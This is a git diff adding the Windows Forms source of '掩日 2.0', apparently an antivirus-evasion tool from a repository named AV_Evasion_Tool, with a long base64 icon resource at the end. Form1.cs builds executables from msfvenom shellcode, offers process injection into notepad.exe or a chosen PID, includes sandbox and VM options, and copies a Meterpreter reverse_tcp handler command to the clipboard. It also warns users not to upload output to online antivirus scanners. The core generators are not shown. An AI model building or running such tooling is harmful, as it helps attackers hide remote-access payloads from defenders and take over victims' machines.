this.radioButton6.Name = "radioButton6"; + this.radioButton6.Size = new System.Drawing.Size(75, 24); + this.radioButton6.TabIndex = 28; + this.radioButton6.Text = "自定义"; + this.radioButton6.UseVisualStyleBackColor = true; + this.radioButton6.CheckedChanged += new System.EventHandler(this.radioButton6_CheckedChanged); + // + // pictureBox3 + // + this.pictureBox3.Location = new System.Drawing.Point(250, 19); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(35, 35); + this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox3.TabIndex = 27; + this.pictureBox3.TabStop = false; + // + // radioButton3 + // + this.radioButton3.AutoSize = true; + this.radioButton3.Checked = true; + this.radioButton3.Location = new System.Drawing.Point(100, 30); + this.radioButton3.Name = "radioButton3"; + this.radioButton3.Size = new System.Drawing.Size(45, 24); + this.radioButton3.TabIndex = 21; + this.radioButton3.TabStop = true; + this.radioButton3.Text = "无"; + this.radioButton3.UseVisualStyleBackColor = true; + this.radioButton3.CheckedChanged += new System.EventHandler(this.radioButton3_CheckedChanged); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(9, 1); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(84, 20); + this.label6.TabIndex = 20; + this.label6.Text = "设置图标:"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(11, 96); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(99, 20); + this.label4.TabIndex = 14; + this.label4.Text = "注入进程名:"; + // + // comboBox2 + // + this.comboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox2.Font = new System.Drawing.Font("微软雅黑", 8F); + this.comboBox2.FormattingEnabled = true; + this.comboBox2.Location = new System.Drawing.Point(101, 53); + this.comboBox2.Name = "comboBox2"; + this.comboBox2.Size = new System.Drawing.Size(185, 27); + this.comboBox2.TabIndex = 13; + this.comboBox2.SelectedIndexChanged += new System.EventHandler(this.comboBox2_SelectedIndexChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(11, 56); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(84, 20); + this.label2.TabIndex = 12; + this.label2.Text = "执行方式:"; + // + // comboBox1 + // + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.Font = new System.Drawing.Font("微软雅黑", 8F); + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Items.AddRange(new object[] { + "C", + "C#"}); + this.comboBox1.Location = new System.Drawing.Point(102, 8); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(185, 27); + this.comboBox1.TabIndex = 11; + this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(11, 15); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(84, 20); + this.label1.TabIndex = 10; + this.label1.Text = "编译语言:"; + // + // comboBox3 + // + this.comboBox3.BackColor = System.Drawing.SystemColors.Window; + this.comboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox3.Font = new System.Drawing.Font("微软雅黑", 8F); + this.comboBox3.ForeColor = System.Drawing.Color.Black; + this.comboBox3.FormattingEnabled = true; + this.comboBox3.Items.AddRange(new object[] { + "32位", + "64位"}); + this.comboBox3.Location = new System.Drawing.Point(23, 48); + this.comboBox3.Name = "comboBox3"; + this.comboBox3.Size = new System.Drawing.Size(48, 27); + this.comboBox3.TabIndex = 17; + this.comboBox3.SelectedIndexChanged += new System.EventHandler(this.comboBox3_SelectedIndexChanged); + // + // openFileDialog1 + // + this.openFileDialog1.FileName = "openFileDialog1"; + // + // Form1 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(305, 481); + this.Controls.Add(this.panel1); + this.Controls.Add(this.label3); + this.Controls.Add(this.button1); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.linkLabel1); + this.Controls.Add(this.comboBox3); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.MaximizeBox = false; + this.Name = "Form1"; + this.Text = "掩日 2.0 - 1y0n.com"; + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.LinkLabel linkLabel1; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.ToolTip toolTip1; + private System.Windows.Forms.SaveFileDialog saveFileDialog1; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.ComboBox comboBox2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.ComboBox comboBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton radioButton6; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.RadioButton radioButton3; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.ComboBox comboBox5; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.ComboBox comboBox3; + private System.Windows.Forms.OpenFileDialog openFileDialog1; + } +} + diff --git "a/\346\216\251\346\227\2452.0/Form1.cs" "b/\346\216\251\346\227\2452.0/Form1.cs" new file mode 100644 index 0000000..e22efb3 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Form1.cs" @@ -0,0 +1,275 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace 掩日2._0 +{ + public partial class Form1 : Form + { + //全局变量 + public bool MODE = true; // true for easy mode which is default, false for custom mode + public bool ENV = true; //true for GCC installed + + public Form1() + { + InitializeComponent(); + this.Height = 110; + bool env = false; + comboBox1.SelectedIndex = 0; + comboBox3.SelectedIndex = 0; + comboBox5.Items.AddRange(Global.VM_Sandbox); + comboBox5.SelectedIndex = 0; + //判断是否已安装GCC + if (!Common.Execute_Cmd("gcc --version").Contains("tdm64")) + { + DialogResult result = MessageBox.Show("缺少必要的执行环境(tdm-gcc),点击确定将启动兼容模式,兼容模式下,多数功能无法使用。点击取消打开使用说明界面", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Exclamation); + if (result == DialogResult.OK) + { + this.Text = "掩日 2.0 - 兼容 - 1y0n.com"; + ENV = false; // 没有安装GCC + MODE = false; //环境不全的情况下,极简模式不能用 + linkLabel1.Text = ""; + panel1.Height = 410; + panel1.Visible = true; + this.Height = 519; + textBox1.Enabled = false; + comboBox1.Items.Clear(); + comboBox1.Items.Add("C#"); + comboBox1.SelectedIndex = 0; + linkLabel1.Enabled = false; + textBox1.Text = "兼容模式下不可用"; + textBox1.Enabled = false; + } + else + { + System.Diagnostics.Process.Start("https://github.com/1y0n/AV_Evasion_Tool/"); + System.Environment.Exit(-1); + } + } + } + + private void label3_Click(object sender, EventArgs e) + { + AboutBox1 ab = new AboutBox1(); + ab.Show(); + } + + private void button1_Click(object sender, EventArgs e) + { + if (MODE) //极简模式 + { + if (textBox1.Text.Contains(":")) + { + string ip = textBox1.Text.Split(':')[0]; + string port = textBox1.Text.Split(':')[1]; + saveFileDialog1.Filter = "可执行文件|*.exe"; + if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "")) + { + string savepath = saveFileDialog1.FileName; + if (Core.Generate_1_IP(comboBox3.Text, ip, port, savepath)) + { + if (MessageBox.Show("生成成功,是否复制 metasploit 启动命令到剪贴板?", "成功", MessageBoxButtons.YesNo) == DialogResult.Yes) + { + string msf_cmd = @"msfconsole -x ""use exploit/multi/handler; set payload windows/{{arch}}meterpreter/reverse_tcp; set lhost {{ip}}; set lport {{port}}; run; """; + string temp = comboBox3.Text.StartsWith("64") ? "x64/" : ""; + msf_cmd = msf_cmd.Replace("{{arch}}", temp).Replace("{{ip}}", ip).Replace("{{port}}", port); + Clipboard.SetText(msf_cmd); + } + } + else + { + MessageBox.Show("生成失败,请检查你的输入。"); + } + } + else + { + MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); + return; + } + } + else + { + MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); + return; + } + } + else + { + if (comboBox2.Text.Contains("注入")) + { + if (textBox2.Text.Trim() == "") + { + MessageBox.Show("漏填了必填项,请检查", "提示"); + return; + } + if (comboBox2.Text.Contains("现有")) + { + try + { + int temp = int.Parse(textBox2.Text); + } + catch + { + MessageBox.Show("注入现有进程时必须填写数字PID号", "提示"); + return; + } + } + } + saveFileDialog1.Filter = "可执行文件|*.exe"; + if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != "")) + { + bool result = false; + if (comboBox1.Text == "C") + { + result = Core.Gen_C(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); + } + else if (comboBox1.Text == "C#") + { + result = Core.Gen_CS(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); + } + if (result) + { + MessageBox.Show("生成成功!不要将生成的程序上传到在线杀毒网站", "成功"); + return; + } + else + { + MessageBox.Show("生成失败!请检查你的输入", "失败"); + return; + } + } + else + { + return; + } + } + } + + public void SwitchMode() + { + if (MODE) // 当前是极简模式,准备切换到进阶模式 + { + MODE = false; + linkLabel1.Text = "🔺极简"; + panel1.Height = 410; + panel1.Visible = true; + this.Height = 519; + textBox1.Enabled = false; + } + else //切换到极简模式 + { + MODE = true; + linkLabel1.Text = "🔻进阶"; + panel1.Visible = false; + this.Height = 110; + textBox1.Enabled = true; + } + } + + private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SwitchMode(); + } + + private void richTextBox1_TextChanged(object sender, EventArgs e) + { + richTextBox1.ForeColor = Color.Black; + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + if (comboBox1.Text == "C") + { + comboBox2.Items.Clear(); + comboBox2.Items.AddRange(Global.C_Execute); + comboBox2.SelectedIndex = 0; + } + else if (comboBox1.Text == "C#") + { + comboBox2.Items.Clear(); + if (comboBox3.Text.StartsWith("32")) + { + comboBox2.Items.AddRange(Global.CS_Execute_x86); + } + else + { + comboBox2.Items.AddRange(Global.CS_Execute_x64); + } + comboBox2.SelectedIndex = 0; + } + } + + private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) + { + if (comboBox2.Text.Contains("注入新进程")) + { + textBox2.Enabled = true; + label4.Text = "注入进程名:"; + textBox2.Text = "notepad.exe"; + } + else if (comboBox2.Text.Contains("注入现有进程")) + { + textBox2.Enabled = true; + label4.Text = "进程PID:"; + textBox2.Clear(); + } + else + { + textBox2.Enabled = false; + } + } + + private void radioButton6_CheckedChanged(object sender, EventArgs e) + { + if (!radioButton6.Checked) + { + return; + } + MessageBox.Show("图标路径不要包含中文,否则无法生成", "提示"); + openFileDialog1.Filter = "图标文件|*.ico"; + if ((openFileDialog1.ShowDialog() == DialogResult.OK) && (openFileDialog1.FileName != "")) + { + pictureBox3.ImageLocation = Global.ICONPATH = openFileDialog1.FileName; + } + else + { + radioButton3.Checked = true; + } + } + + private void comboBox3_SelectedIndexChanged(object sender, EventArgs e) + { + if (comboBox1.Text == "C#") + { + comboBox2.Items.Clear(); + if (comboBox3.Text.StartsWith("32")) + { + comboBox2.Items.AddRange(Global.CS_Execute_x86); + } + else + { + comboBox2.Items.AddRange(Global.CS_Execute_x64); + } + comboBox2.SelectedIndex = 0; + } + } + + private void richTextBox1_Click(object sender, EventArgs e) + { + if (richTextBox1.Text.Contains("msfvenom")) + { + richTextBox1.Clear(); + } + } + + private void radioButton3_CheckedChanged(object sender, EventArgs e) + { + Global.ICONPATH = ""; + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Form1.resx" "b/\346\216\251\346\227\2452.0/Form1.resx" new file mode 100644 index 0000000..e870c46 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Form1.resx" @@ -0,0 +1,1262 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 135, 17 + + + 307, 17 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAb1hcFm9YXDhvWFxMb1hcUG9YXEJvWFwib1hcBAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAB+Y2oIf2RqKH9jaUZ/ZGpQf2RqSH9kajJ+Y2oQAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABvWFwCb1hcKm5YXGBvWFydb1hcxW9X + XNFvWFzTb1hczW9YXK9uV1x6blhbPm9YXAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB/ZGoSf2RqSn9jaoV+ZGq3f2Rqz39k + atN+ZGnRf2RqwX5kapN/ZGpUfmRpIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAb1hcEm9YXGBvWFyxb1hc129YXO9uWFv9b1hc/29YXP9vWFz/b1hc929YXONvWFvBb1hchW9Y + WzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAB/ZGoCf2RqQH9kapN/ZGrLf2Rq539kavl/ZGr/f2Rq/39kav9/ZGr9f2Rq639katF/ZGqlf2NqTn9k + agoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG9YXBRvWFyBb1hc029YXPlvWFz/b1hc/29Y + XP9vWFz/b1hc/29YXP9vWFz/b1hc/29YXP1vWFznb1hcqW5YXCoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfmRqAn5jakB/ZGq7f2Rq7X5jav9/ZGr/f2Rq/39k + av9/ZGr/f2Rq/39kav9/ZGr/f2Rq/39javV/ZGrJf2RqZn9kaggAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABvWFwIb1dccG9YXOVvWFz/b1hc/29YXP9vWFz/b1hc/29YXP9vWFz/b1hc/29YXP9vWFz/b1hc/29Y + XP9vWFz1b1hcm29YXCoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAB/ZGo+f2RqtX9javt/ZGr/f2Rq/39kav9/ZGr/f2Rq/39kav9/ZGr/f2Rq/39kav9/ZGr/f2Rq/39j + av9/ZGrVfmRqVH9kagIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG9YXEJvWFzXb1hc/29YXP9vWFz/b1hc/29Y + XP9vWFz/b1hc/25XW/9vWFz/b1hc/29YXP9vWFz/b1hc/29YXP9vWFzvb1hcj29YXA4AAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf2RqGn9kaqt/Y2r5f2Rq/39kav9/ZGr/f2Rq/39k + av9/ZGr/fmNp/39kav9/ZGr/f2Rq/39kav9/ZGr/f2Rq/39kav9/ZGrBfmRqKAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABvWFwWb1hcp29YXP9vWFz/b1hc/29YXP9vWFz/bldb/25XW/9xW1//clxg/29YXP9uV1v/b1hc/29Y + XP9vWFz/b1hc/29YXP9vWFvlb1hcPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAB+ZGpcf2Rq839kav9/ZGr/f2Rq/39kav9/ZGr/fmNp/4Bla/+CaG7/gGZs/35jaf9+Y2n/f2Rq/39k + av9/ZGr/f2Rq/39kafl/ZGp6f2RqBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 